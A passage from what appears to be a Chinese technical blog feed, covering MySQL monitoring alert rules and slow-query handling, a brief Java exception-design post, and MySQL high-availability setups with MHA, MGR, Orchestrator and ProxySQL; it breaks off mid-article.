href="#5-4-告警规则" class="headerlink" title="5.4 告警规则"></a>5.4 告警规则</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># mysql_alerts.yml</span></span><br><span class="line"><span class="attr">groups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">mysql</span></span><br><span class="line">    <span class="attr">rules:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">alert:</span> <span class="string">MySQLDown</span></span><br><span class="line">        <span class="attr">expr:</span> <span class="string">mysql_up</span> <span class="string">==</span> <span class="number">0</span></span><br><span class="line">        <span class="attr">for:</span> <span class="string">1m</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">severity:</span> <span class="string">critical</span></span><br><span class="line">        <span class="attr">annotations:</span></span><br><span class="line">          <span class="attr">summary:</span> <span class="string">&quot;MySQL实例宕机&quot;</span></span><br><span class="line">          </span><br><span class="line">      <span class="bullet">-</span> <span class="attr">alert:</span> <span class="string">MySQLHighConnections</span></span><br><span class="line">        <span class="attr">expr:</span> <span class="string">mysql_global_status_threads_connected</span> <span class="string">/</span> <span class="string">mysql_global_variables_max_connections</span> <span class="string">&gt;</span> <span class="number">0.8</span></span><br><span class="line">        <span class="attr">for:</span> <span class="string">5m</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">severity:</span> <span class="string">warning</span></span><br><span class="line">        <span class="attr">annotations:</span></span><br><span class="line">          <span class="attr">summary:</span> <span class="string">&quot;MySQL连接数超过80%&quot;</span></span><br><span class="line">          </span><br><span class="line">      <span class="bullet">-</span> <span class="attr">alert:</span> <span class="string">MySQLSlowQueries</span></span><br><span class="line">        <span class="attr">expr:</span> <span class="string">rate(mysql_global_status_slow_queries[5m])</span> <span class="string">&gt;</span> <span class="number">1</span></span><br><span class="line">        <span class="attr">for:</span> <span class="string">5m</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">severity:</span> <span class="string">warning</span></span><br><span class="line">        <span class="attr">annotations:</span></span><br><span class="line">          <span class="attr">summary:</span> <span class="string">&quot;MySQL慢查询增长&quot;</span></span><br><span class="line">          </span><br><span class="line">      <span class="bullet">-</span> <span class="attr">alert:</span> <span class="string">MySQLReplicationLag</span></span><br><span class="line">        <span class="attr">expr:</span> <span class="string">mysql_slave_lag_seconds</span> <span class="string">&gt;</span> <span class="number">10</span></span><br><span class="line">        <span class="attr">for:</span> <span class="string">5m</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">severity:</span> <span class="string">warning</span></span><br><span class="line">        <span class="attr">annotations:</span></span><br><span class="line">          <span class="attr">summary:</span> <span class="string">&quot;MySQL复制延迟超过10秒&quot;</span></span><br><span class="line">          </span><br><span class="line">      <span class="bullet">-</span> <span class="attr">alert:</span> <span class="string">MySQLBufferPoolHitRatio</span></span><br><span class="line">        <span class="attr">expr:</span> <span class="string">rate(mysql_global_status_innodb_buffer_pool_reads[5m])</span> <span class="string">/</span> <span class="string">rate(mysql_global_status_innodb_buffer_pool_read_requests[5m])</span> <span class="string">&gt;</span> <span class="number">0.01</span></span><br><span class="line">        <span class="attr">for:</span> <span class="string">10m</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">severity:</span> <span class="string">warning</span></span><br><span class="line">        <span class="attr">annotations:</span></span><br><span class="line">          <span class="attr">summary:</span> <span class="string">&quot;Buffer Pool命中率低于99%&quot;</span></span><br></pre></td></tr></table></figure><h2 id="六、慢查询监控"><a href="#六、慢查询监控" class="headerlink" title="六、慢查询监控"></a>六、慢查询监控</h2><p>#</p><h2 id="6-1-实时慢查询分析"><a href="#6-1-实时慢查询分析" class="headerlink" title="6.1 实时慢查询分析"></a>6.1 实时慢查询分析</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看当前执行时间超过10秒的查询</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    THREAD_ID,</span><br><span class="line">    PROCESSLIST_ID,</span><br><span class="line">    PROCESSLIST_USER,</span><br><span class="line">    PROCESSLIST_HOST,</span><br><span class="line">    PROCESSLIST_DB,</span><br><span class="line">    PROCESSLIST_TIME,</span><br><span class="line">    PROCESSLIST_INFO</span><br><span class="line"><span class="keyword">FROM</span> performance_schema.threads</span><br><span class="line"><span class="keyword">WHERE</span> PROCESSLIST_COMMAND <span class="operator">=</span> <span class="string">&#x27;Query&#x27;</span></span><br><span class="line">    <span class="keyword">AND</span> PROCESSLIST_TIME <span class="operator">&gt;</span> <span class="number">10</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> PROCESSLIST_TIME <span class="keyword">DESC</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-pt-kill自动杀慢查询"><a href="#6-2-pt-kill自动杀慢查询" class="headerlink" title="6.2 pt-kill自动杀慢查询"></a>6.2 pt-kill自动杀慢查询</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 杀掉执行超过60秒的SELECT</span></span><br><span class="line">pt-kill --host=localhost --user=root --password=password \</span><br><span class="line">    --match-command=<span class="string">&#x27;Query&#x27;</span> \</span><br><span class="line">    --match-state=<span class="string">&#x27;Sending data|Copying to tmp table&#x27;</span> \</span><br><span class="line">    --busy-time=60 \</span><br><span class="line">    --victims=all \</span><br><span class="line">    --interval=10 \</span><br><span class="line">    --<span class="built_in">kill</span> \</span><br><span class="line">    --<span class="built_in">print</span></span><br></pre></td></tr></table></figure><h2 id="七、容量规划"><a href="#七、容量规划" class="headerlink" title="七、容量规划"></a>七、容量规划</h2><p>#</p><h2 id="7-1-数据增长趋势"><a href="#7-1-数据增长趋势" class="headerlink" title="7.1 数据增长趋势"></a>7.1 数据增长趋势</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看数据库大小</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    table_schema,</span><br><span class="line">    ROUND(<span class="built_in">SUM</span>(data_length <span class="operator">+</span> index_length) <span class="operator">/</span> <span class="number">1024</span> <span class="operator">/</span> <span class="number">1024</span> <span class="operator">/</span> <span class="number">1024</span>, <span class="number">2</span>) <span class="keyword">AS</span> size_gb</span><br><span class="line"><span class="keyword">FROM</span> information_schema.tables</span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> table_schema</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> size_gb <span class="keyword">DESC</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看表大小</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    table_name,</span><br><span class="line">    ROUND(data_length <span class="operator">/</span> <span class="number">1024</span> <span class="operator">/</span> <span class="number">1024</span>, <span class="number">2</span>) <span class="keyword">AS</span> data_mb,</span><br><span class="line">    ROUND(index_length <span class="operator">/</span> <span class="number">1024</span> <span class="operator">/</span> <span class="number">1024</span>, <span class="number">2</span>) <span class="keyword">AS</span> index_mb,</span><br><span class="line">    table_rows</span><br><span class="line"><span class="keyword">FROM</span> information_schema.tables</span><br><span class="line"><span class="keyword">WHERE</span> table_schema <span class="operator">=</span> <span class="string">&#x27;mydb&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> (data_length <span class="operator">+</span> index_length) <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-QPS增长趋势"><a href="#7-2-QPS增长趋势" class="headerlink" title="7.2 QPS增长趋势"></a>7.2 QPS增长趋势</h2><p>使用Prometheus查询：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># QPS趋势</span><br><span class="line">rate(mysql_global_status_queries[1m])</span><br><span class="line"></span><br><span class="line"># 连接数趋势</span><br><span class="line">mysql_global_status_threads_connected</span><br><span class="line"></span><br><span class="line"># 磁盘使用趋势</span><br><span class="line">mysql_global_status_innodb_data_written</span><br></pre></td></tr></table></figure><h2 id="八、监控检查清单"><a href="#八、监控检查清单" class="headerlink" title="八、监控检查清单"></a>八、监控检查清单</h2><p>#</p><h2 id="8-1-每日检查"><a href="#8-1-每日检查" class="headerlink" title="8.1 每日检查"></a>8.1 每日检查</h2><ul><li><input disabled="" type="checkbox"> 复制延迟是否正常</li><li><input disabled="" type="checkbox"> 慢查询数量是否增长</li><li><input disabled="" type="checkbox"> 连接数是否在正常范围</li><li><input disabled="" type="checkbox"> 是否有死锁发生</li></ul><p>#</p><h2 id="8-2-每周检查"><a href="#8-2-每周检查" class="headerlink" title="8.2 每周检查"></a>8.2 每周检查</h2><ul><li><input disabled="" type="checkbox"> Buffer Pool命中率</li><li><input disabled="" type="checkbox"> 表空间增长情况</li><li><input disabled="" type="checkbox"> 索引使用情况</li><li><input disabled="" type="checkbox"> 备份状态</li></ul><p>#</p><h2 id="8-3-每月检查"><a href="#8-3-每月检查" class="headerlink" title="8.3 每月检查"></a>8.3 每月检查</h2><ul><li><input disabled="" type="checkbox"> 容量规划（数据增长趋势）</li><li><input disabled="" type="checkbox"> 全量SQL审核</li><li><input disabled="" type="checkbox"> 性能基准对比</li><li><input disabled="" type="checkbox"> 监控告警规则 review</li></ul><h2 id="九、总结"><a href="#九、总结" class="headerlink" title="九、总结"></a>九、总结</h2><table><thead><tr><th>指标类别</th><th>关键指标</th><th>告警阈值</th></tr></thead><tbody><tr><td>可用性</td><td>mysql_up</td><td>= 0</td></tr><tr><td>连接</td><td>Threads_connected/max_connections</td><td>&gt; 80%</td></tr><tr><td>复制</td><td>Seconds_Behind_Master</td><td>&gt; 10秒</td></tr><tr><td>查询</td><td>Slow_queries增长率</td><td>突增</td></tr><tr><td>缓冲</td><td>Buffer Pool命中率</td><td>&lt; 95%</td></tr><tr><td>锁</td><td>Innodb_row_lock_waits</td><td>持续增加</td></tr><tr><td>磁盘</td><td>磁盘使用率</td><td>&gt; 80%</td></tr></tbody></table><p>监控的核心价值：</p><ol><li>及时发现问题，缩短故障时间</li><li>掌握性能趋势，提前容量规划</li><li>量化优化效果，指导调优方向</li><li>提供数据支撑，辅助决策判断</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> MySQL </tag>
            
            <tag> 数据库 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 异常体系和业务异常设计</title>
      <link href="//java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/"/>
      <url>//java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-异常体系和业务异常设计"><a href="#Java-异常体系和业务异常设计" class="headerlink" title="Java 异常体系和业务异常设计"></a>Java 异常体系和业务异常设计</h1><p>Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。</p><h2 id="学习方式"><a href="#学习方式" class="headerlink" title="学习方式"></a>学习方式</h2><p>先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;start&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实践建议"><a href="#实践建议" class="headerlink" title="实践建议"></a>实践建议</h2><p>不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL高可用架构方案</title>
      <link href="//mysql-high-availability-architecture/"/>
      <url>//mysql-high-availability-architecture/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL高可用架构方案"><a href="#MySQL高可用架构方案" class="headerlink" title="MySQL高可用架构方案"></a>MySQL高可用架构方案</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="一、高可用目标"><a href="#一、高可用目标" class="headerlink" title="一、高可用目标"></a>一、高可用目标</h2><p>#</p><h2 id="1-1-衡量指标"><a href="#1-1-衡量指标" class="headerlink" title="1.1 衡量指标"></a>1.1 衡量指标</h2><table><thead><tr><th>指标</th><th>说明</th><th>优秀标准</th></tr></thead><tbody><tr><td>可用性</td><td>系统可用时间占比</td><td>99.99%（全年停机&lt;1小时）</td></tr><tr><td>RTO</td><td>恢复时间目标</td><td>&lt; 30秒</td></tr><tr><td>RPO</td><td>恢复点目标</td><td>0（不丢数据）</td></tr></tbody></table><p>#</p><h2 id="1-2-可用性等级"><a href="#1-2-可用性等级" class="headerlink" title="1.2 可用性等级"></a>1.2 可用性等级</h2><table><thead><tr><th>等级</th><th>可用性</th><th>年停机时间</th></tr></thead><tbody><tr><td>2个9</td><td>99%</td><td>87.6小时</td></tr><tr><td>3个9</td><td>99.9%</td><td>8.76小时</td></tr><tr><td>4个9</td><td>99.99%</td><td>52.56分钟</td></tr><tr><td>5个9</td><td>99.999%</td><td>5.26分钟</td></tr></tbody></table><h2 id="二、主从复制架构"><a href="#二、主从复制架构" class="headerlink" title="二、主从复制架构"></a>二、主从复制架构</h2><p>#</p><h2 id="2-1-一主一从"><a href="#2-1-一主一从" class="headerlink" title="2.1 一主一从"></a>2.1 一主一从</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">┌─────────┐      复制      ┌─────────┐</span><br><span class="line">│  Master │  ──────────&gt;  │  Slave  │</span><br><span class="line">│  (读写)  │               │  (只读)  │</span><br><span class="line">└─────────┘               └─────────┘</span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>手动切换</li><li>主库故障时，提升从库为主库</li><li>适合读多写少，对RTO要求不高</li></ul><p>#</p><h2 id="2-2-一主多从"><a href="#2-2-一主多从" class="headerlink" title="2.2 一主多从"></a>2.2 一主多从</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">         ┌──────────&gt; ┌─────────┐</span><br><span class="line">┌────────┐            │ Slave 1 │</span><br><span class="line">│ Master │ ──────────&gt;├─────────┤</span><br><span class="line">└────────┘            │ Slave 2 │</span><br><span class="line">         └──────────&gt; │ Slave 3 │</span><br><span class="line">                      └─────────┘</span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>读扩展能力强</li><li>可专门分离出备份从库、报表从库</li><li>延迟问题需要关注</li></ul><p>#</p><h2 id="2-3-级联复制"><a href="#2-3-级联复制" class="headerlink" title="2.3 级联复制"></a>2.3 级联复制</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Master ──&gt; Slave1 ──&gt; Slave2</span><br><span class="line">  │</span><br><span class="line">  └────&gt; Slave3</span><br></pre></td></tr></table></figure><p><strong>适用</strong>：</p><ul><li>从库数量很多时，减轻主库压力</li><li>跨地域复制</li></ul><h2 id="三、高可用方案对比"><a href="#三、高可用方案对比" class="headerlink" title="三、高可用方案对比"></a>三、高可用方案对比</h2><p>#</p><h2 id="3-1-方案总览"><a href="#3-1-方案总览" class="headerlink" title="3.1 方案总览"></a>3.1 方案总览</h2><table><thead><tr><th>方案</th><th>自动切换</th><th>数据一致性</th><th>复杂度</th><th>适用规模</th></tr></thead><tbody><tr><td>主从+手动</td><td>否</td><td>异步可能丢</td><td>低</td><td>小型</td></tr><tr><td>MHA</td><td>是</td><td>异步可能丢</td><td>中</td><td>中型</td></tr><tr><td>MGR</td><td>是</td><td>强一致</td><td>中</td><td>中型</td></tr><tr><td>Orchestrator</td><td>是</td><td>异步可能丢</td><td>中</td><td>大型</td></tr><tr><td>MySQL Cluster</td><td>是</td><td>强一致</td><td>高</td><td>大型</td></tr><tr><td>云数据库</td><td>是</td><td>配置决定</td><td>低</td><td>各种规模</td></tr></tbody></table><h2 id="四、MHA（Master-High-Availability）"><a href="#四、MHA（Master-High-Availability）" class="headerlink" title="四、MHA（Master High Availability）"></a>四、MHA（Master High Availability）</h2><p>#</p><h2 id="4-1-架构"><a href="#4-1-架构" class="headerlink" title="4.1 架构"></a>4.1 架构</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">┌─────────┐</span><br><span class="line">│ Manager │  ← 监控和故障切换</span><br><span class="line">└────┬────┘</span><br><span class="line">     │</span><br><span class="line">     ├──&gt; Master（写）</span><br><span class="line">     ├──&gt; Slave1（读）</span><br><span class="line">     ├──&gt; Slave2（读）</span><br><span class="line">     └──&gt; Slave3（读/候选主库）</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-故障切换流程"><a href="#4-2-故障切换流程" class="headerlink" title="4.2 故障切换流程"></a>4.2 故障切换流程</h2><ol><li>Manager检测到Master不可达</li><li>尝试SSH到Master，确认是否真的故障（避免网络抖动）</li><li>选择最新的Slave作为新Master</li><li>从其他Slave应用差异的binlog</li><li>提升新Master</li><li>其他Slave重新指向新Master</li><li>发送告警</li></ol><p>#</p><h2 id="4-3-MHA配置"><a href="#4-3-MHA配置" class="headerlink" title="4.3 MHA配置"></a>4.3 MHA配置</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 安装MHA</span></span><br><span class="line">yum install mha4mysql-manager mha4mysql-node</span><br><span class="line"></span><br><span class="line"><span class="comment"># Manager配置</span></span><br><span class="line"><span class="built_in">cat</span> /etc/mha/app1.cnf</span><br><span class="line">[server default]</span><br><span class="line">user=mha</span><br><span class="line">password=password</span><br><span class="line">ssh_user=root</span><br><span class="line">repl_user=repl</span><br><span class="line">repl_password=password</span><br><span class="line">ping_interval=1</span><br><span class="line">master_ip_failover_script=/usr/local/bin/master_ip_failover</span><br><span class="line">master_ip_online_change_script=/usr/local/bin/master_ip_online_change</span><br><span class="line"></span><br><span class="line">[server1]</span><br><span class="line">hostname=192.168.1.10</span><br><span class="line">candidate_master=1</span><br><span class="line"></span><br><span class="line">[server2]</span><br><span class="line">hostname=192.168.1.11</span><br><span class="line">candidate_master=1</span><br><span class="line"></span><br><span class="line">[server3]</span><br><span class="line">hostname=192.168.1.12</span><br><span class="line">no_master=1</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-4-VIP漂移"><a href="#4-4-VIP漂移" class="headerlink" title="4.4 VIP漂移"></a>4.4 VIP漂移</h2><p>使用Keepalived或脚本实现VIP自动漂移：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="comment"># master_ip_failover</span></span><br><span class="line"></span><br><span class="line">vip=<span class="string">&quot;192.168.1.100&quot;</span></span><br><span class="line">new_master=<span class="string">&quot;<span class="variable">$1</span>&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 在新主库添加VIP</span></span><br><span class="line">ssh <span class="variable">$new_master</span> <span class="string">&quot;ip addr add <span class="variable">$vip</span>/24 dev eth0&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 在旧主库移除VIP（如果可达）</span></span><br><span class="line">ssh -o ConnectTimeout=3 <span class="variable">$old_master</span> <span class="string">&quot;ip addr del <span class="variable">$vip</span>/24 dev eth0&quot;</span> 2&gt;/dev/null</span><br></pre></td></tr></table></figure><h2 id="五、MGR（MySQL-Group-Replication）"><a href="#五、MGR（MySQL-Group-Replication）" class="headerlink" title="五、MGR（MySQL Group Replication）"></a>五、MGR（MySQL Group Replication）</h2><p>#</p><h2 id="5-1-架构"><a href="#5-1-架构" class="headerlink" title="5.1 架构"></a>5.1 架构</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">     ┌──────────┐</span><br><span class="line">     │  Primary  │ ← 单主模式（默认）</span><br><span class="line">     │  (读写)   │</span><br><span class="line">     └────┬─────┘</span><br><span class="line">          │  Paxos协议</span><br><span class="line">    ┌─────┼─────┐</span><br><span class="line">    ▼     ▼     ▼</span><br><span class="line">┌─────┐┌─────┐┌─────┐</span><br><span class="line">│Secondary│Secondary│Secondary│</span><br><span class="line">│ (只读)  │ (只读)  │ (只读)  │</span><br><span class="line">└─────┘└─────┘└─────┘</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-特点"><a href="#5-2-特点" class="headerlink" title="5.2 特点"></a>5.2 特点</h2><ul><li>基于Paxos协议，多数派确认</li><li>自动故障检测和切换</li><li>数据强一致性（不会丢数据）</li><li>支持单主和多主模式</li></ul><p>#</p><h2 id="5-3-MGR配置"><a href="#5-3-MGR配置" class="headerlink" title="5.3 MGR配置"></a>5.3 MGR配置</h2><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 每个节点配置</span></span><br><span class="line"><span class="section">[mysqld]</span></span><br><span class="line"><span class="attr">server_id</span> = <span class="number">1</span></span><br><span class="line"><span class="attr">gtid_mode</span> = <span class="literal">ON</span></span><br><span class="line"><span class="attr">enforce_gtid_consistency</span> = <span class="literal">ON</span></span><br><span class="line"><span class="attr">binlog_format</span> = ROW</span><br><span class="line"><span class="attr">log_slave_updates</span> = <span class="literal">ON</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># MGR插件</span></span><br><span class="line"><span class="attr">plugin_load_add</span> = group_replication.so</span><br><span class="line"><span class="attr">transaction_write_set_extraction</span> = XXHASH64</span><br><span class="line"><span class="attr">group_replication_group_name</span> = <span class="string">&quot;aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee&quot;</span></span><br><span class="line"><span class="attr">group_replication_start_on_boot</span> = <span class="literal">off</span></span><br><span class="line"><span class="attr">group_replication_local_address</span> = <span class="string">&quot;192.168.1.10:33061&quot;</span></span><br><span class="line"><span class="attr">group_replication_group_seeds</span> = <span class="string">&quot;192.168.1.10:33061,192.168.1.11:33061,192.168.1.12:33061&quot;</span></span><br><span class="line"><span class="attr">group_replication_bootstrap_group</span> = <span class="literal">off</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 单主模式</span></span><br><span class="line"><span class="attr">group_replication_single_primary_mode</span> = <span class="literal">ON</span></span><br><span class="line"><span class="attr">group_replication_enforce_update_everywhere_checks</span> = <span class="literal">OFF</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-4-启动MGR"><a href="#5-4-启动MGR" class="headerlink" title="5.4 启动MGR"></a>5.4 启动MGR</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 第一个节点（引导组）</span></span><br><span class="line"><span class="keyword">SET</span> <span class="keyword">GLOBAL</span> group_replication_bootstrap_group <span class="operator">=</span> <span class="keyword">ON</span>;</span><br><span class="line"><span class="keyword">START</span> GROUP_REPLICATION;</span><br><span class="line"><span class="keyword">SET</span> <span class="keyword">GLOBAL</span> group_replication_bootstrap_group <span class="operator">=</span> OFF;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 其他节点加入</span></span><br><span class="line"><span class="keyword">START</span> GROUP_REPLICATION;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看组成员</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> performance_schema.replication_group_members;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看主节点</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> performance_schema.global_status </span><br><span class="line"><span class="keyword">WHERE</span> variable_name <span class="operator">=</span> <span class="string">&#x27;group_replication_primary_member&#x27;</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-5-MGR限制"><a href="#5-5-MGR限制" class="headerlink" title="5.5 MGR限制"></a>5.5 MGR限制</h2><ul><li>仅支持InnoDB表</li><li>表必须有主键</li><li>不支持外键的级联操作</li><li>最大节点数：9个</li><li>网络要求高（低延迟）</li></ul><h2 id="六、Orchestrator"><a href="#六、Orchestrator" class="headerlink" title="六、Orchestrator"></a>六、Orchestrator</h2><p>#</p><h2 id="6-1-特点"><a href="#6-1-特点" class="headerlink" title="6.1 特点"></a>6.1 特点</h2><ul><li>GitHub开源的MySQL高可用工具</li><li>可视化拓扑管理</li><li>支持自动和手动故障转移</li><li>支持预检查，降低误切换</li></ul><p>#</p><h2 id="6-2-架构"><a href="#6-2-架构" class="headerlink" title="6.2 架构"></a>6.2 架构</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">┌─────────────┐</span><br><span class="line">│ Orchestrator │ ← Web UI + API</span><br><span class="line">│   (RAFT)    │</span><br><span class="line">└──────┬──────┘</span><br><span class="line">       │</span><br><span class="line">  ┌────┴────┐</span><br><span class="line">  ▼         ▼</span><br><span class="line">Master    Slave</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-3-核心功能"><a href="#6-3-核心功能" class="headerlink" title="6.3 核心功能"></a>6.3 核心功能</h2><ul><li><strong>自动发现</strong>：自动发现MySQL拓扑</li><li><strong>可视化</strong>：Web界面展示复制拓扑</li><li><strong>故障转移</strong>：支持自动和手动</li><li><strong>钩子</strong>：支持自定义脚本（切换后执行）</li></ul><h2 id="七、ProxySQL读写分离"><a href="#七、ProxySQL读写分离" class="headerlink" title="七、ProxySQL读写分离"></a>七、ProxySQL读写分离</h2><p>#</p><h2 id="7-1-架构"><a href="#7-1-架构" class="headerlink" title="7.1 架构"></a>7.1 架构</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">App ──&gt; ProxySQL ──&gt; Master（写）</span><br><span class="line">            │</span><br><span class="line">            ├──&gt; Slave1（读）</span><br><span class="line">            ├──&gt; Slave2（读）</span><br><span class="line">            └──&gt; Slave3（读）</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-配置"><a href="#7-2-配置" class="headerlink" title="7.2 配置"></a>7.2 配置</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 添加后端服务器</span></span><br><span class="line"><span class="keyword">INSERT INTO</span> mysql_servers(hostgroup_id, hostname, port) </span><br><span class="line"><span class="keyword">VALUES</span> </span><br><span class="line">(<span class="number">10</span>, <span class="string">&#x27;master&#x27;</span>, <span class="number">3306</span>),  <span class="comment">-- 写组</span></span><br><span class="line">(<span class="number">20</span>, <span class="string">&#x27;slave1&#x27;</span>, <span class="number">3306</span>),  <span class="comment">-- 读组</span></span><br><span class="line">(<span class="number">20</span>, <span class="string">&#x27;slave2&#x27;</span>, <span class="number">3306</span>),</span><br><span class="line">(<span class="number">20</span>, <span class="string">&#x27;slave3&#x27;</span>, <span class="number">3306</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 配置读写规则</span></span><br><span class="line"><span class="keyword">INSERT INTO</span> mysql_query_rules (rule_id, active, match_pattern, </span><br><span class="line">    destination_hostgroup, apply) </span><br><span class="line"><span class="keyword">VALUES</span> </span><br><span class="line">(<span class="number">1</span>, <span class="number">1</span>, <span class="string">&#x27;^SELECT.*FOR UPDATE&#x27;</span>, <span class="number">10</span>, <span class="number">1</span>),</span><br><span class="line">(<span class="number">2</span>, <span class="number">1</span>, <span class="string">&#x27;^SELECT&#x27;</span>, <span class="number">20</span>, <span class="number">1</span>),</span><br><span class="line">(<span class="number">3</span>, <span class="number">1</span>, <span class="string">&#x27;.*&#x27;</span>, <span class="number">10</span>, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 加载配置</span></span><br><span class="line">LOAD MYSQL SERVERS <span class="keyword">TO</span> RUNTIME;</span><br><span class="line">LOAD MYSQL QUERY RULES <span class="keyword">TO</span> RUNTIME;</span><br><span class="line">SAVE MYSQL SERVERS <span class="keyword">TO</span> DISK;</span><br><span class="line">SAVE MYSQL QUERY RULES <span class="keyword">TO</span> DISK;</span><br></pre></td></tr></table></figure><h2 id="八、云数据库高可用"><a href="#八、云数据库高可用" class="headerlink" title="八、云数据库高可用"></a>八、云数据库高可用</h2><p>#</p><h2 id="8-1-阿里云RDS"><a href="#8-1-阿里云RDS" class="headerlink" title="8.1 阿里云RDS"></a>8.1 阿里云RDS</h2><table><thead><tr><th>版本</th><th>架构</th><th>RTO</th></tr></thead><tbody><tr><td>基础版</td><td>单节点</td><td>数分钟</td></tr><tr><td>高可用版</td><td>主从 + 自动切换</td><td>30秒内</td></tr><tr><td>集群版</td><td>一主多从</td><td>30秒内</td></tr><tr><td>三节点版</td><td>MGR-like</td><td>30秒内</td></tr></tbody></table><p>#</p><h2 id="8-2-腾讯云CDB"><a href="#8-2-腾讯云CDB" class="headerlink" title="8.2 腾讯云CDB"></a>8.2 腾讯云CDB</h2><ul><li>自动故障切换</li><li>支持跨可用区部署</li><li>只读实例自动扩展</li></ul><h2 id="九、故障切换实践"><a href="#九、故障切换实践" class="headerlink" 